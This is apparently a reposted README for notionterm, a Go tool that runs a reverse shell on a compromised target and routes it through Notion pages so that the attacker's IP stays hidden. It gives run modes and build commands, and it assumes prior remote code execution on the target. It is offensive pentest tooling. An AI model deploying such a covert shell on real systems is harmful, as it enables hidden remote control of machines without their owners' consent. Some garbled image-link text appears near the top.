SECRET OF CSS

Embed Reverse Shell In Notion Pages


AVvXsEhJ9iwaL3IPcQi0zGw dDSkJE8XvX ACXFbN2RQNMPDJmay1 sgzvLY18gyKKBT 1 KoePezecaHZ57jjoFA2ERn8JMm61ww9OjMXYUU0PFnp069JkQkW3T5FP2mfUvC VD1gqF4Yzbr U273

AVvXsEi6NULMA7E OfBs 9kdWxPkgOi0Wrz9sqK7AboUzTCtWQgKtBuShfLvP5rW0ZHsCQ0fYGIEfHHhrB4aJiWRb9xLpol36fVC00DkGmwPgzB6wXWBiAxK7V9prtiiZVSCWPOR0DIMV5hX7CsNS8muu3FcxqyCBeBi9yiepT apcRQBz6aElJB2nP hMcS=w640 h428

FOR:

  • Hiding attacker IP in reverse shell (No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell)
  • Demo/Quick proof insertion within report
  • High available and shareable reverse shell (desktop, browser, mobile)
  • Encrypted and authenticated remote shell

NOT FOR:

  • Long and interactive shell session (see tacos for that)

Why?

The focus was on making something fun while still being usable, but that’s not meant to be THE solution for reverse shell in the pentester’s arsenal

How?

Just use notion as usual and launch notionterm on target.

Requirements

  • Notion software and API key
  • Allowed HTTP communication from the target to the notion domain
  • Prior RCE on target

roughly inspired by the great idea of OffensiveNotion and notionion!

Quickstart

Set-up

  1. Create a page and give to the integration API key the permissions to have page write access
  2. Build notionterm and transfer it on target machine (see install)

Run

There are 3 main ways to run notionterm:

“normal” mode
Get terminal, stop/unstop it, etc…

notionterm [flags]
Start the shell with the button widget: turn ON, do you reverse shell stuff, turn OFF to pause, turn ON to resume etc…

“server” mode
Ease notionterm embedding in any page

notionterm --server [flags]
Start a shell session in any page by creating an embed block with URL containing the page id (CTRL+Lto get it): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID].

light mode
Only perform HTTP traffic from target → notion

notionterm light [flags]

Install

As notionterm is aimed to be run on target machine it must be built to fit with it.

Thus set env var to fit with the target requirement:

GOOS=[windows/linux/darwin]

Simple build

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

You will need to set API key and notion page URL using either env var (NOTION_TOKEN & NOTION_PAGE_URL) or flags (--token & --page-url)

“All-inclusive” build

Embed directly the notion integration API token and notion page url in the binary.

everybody with access to the binary can retrieved the token. For security reason don’t share it and remove it after use.

Set according env var:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

And build it:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS go build notionterm.go





News Credit